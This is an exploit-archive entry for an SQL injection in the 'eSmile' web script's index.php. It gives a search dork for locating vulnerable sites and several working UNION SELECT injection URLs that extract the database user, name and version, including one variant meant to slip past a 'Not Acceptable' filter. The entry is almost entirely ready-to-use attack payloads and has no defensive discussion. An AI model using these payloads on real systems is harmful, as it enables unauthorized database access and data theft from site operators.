eSmile Script (index.php) SQL Injection Vulnerability

2010-02-10T00:00:00
ID 1337DAY-ID-10820
Type zdt
Reporter AtT4CKxT3rR0r1ST
Modified 2010-02-10T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =====================================================
eSmile Script (index.php) SQL Injection Vulnerability
=====================================================


eSmile (index.php) Sql Injection Vulnerability
==============================================================
 
####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  
.:. Script         : eSmile
.:. Bug Type       : Sql Injection[Mysql]
.:. Dork           : "Powered by: eSmile"
 
####################################################################
 
===[ Exploit ]===
 
www.site.com/index.php?do=show&cid=null[Sql Injection]
 
www.site.com/index.php?do=show&cid=null'/**/and/**/1=2/**/union/**/select/**/111,222,333,444,555,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- -
www.site.com/index.php?do=show&cid=null'/**/and/**/1=2/**/union/**/select/**/111,222,333,444,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),666-- -
 
T0 Bypass Not Acceptable
 
 
www.site.com/index.php?do=show&cid=-NULL'/**/UNION/**/ALL/**/SELECT/**/111,222,333,444,555,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- -



#  0day.today [2018-04-10]  #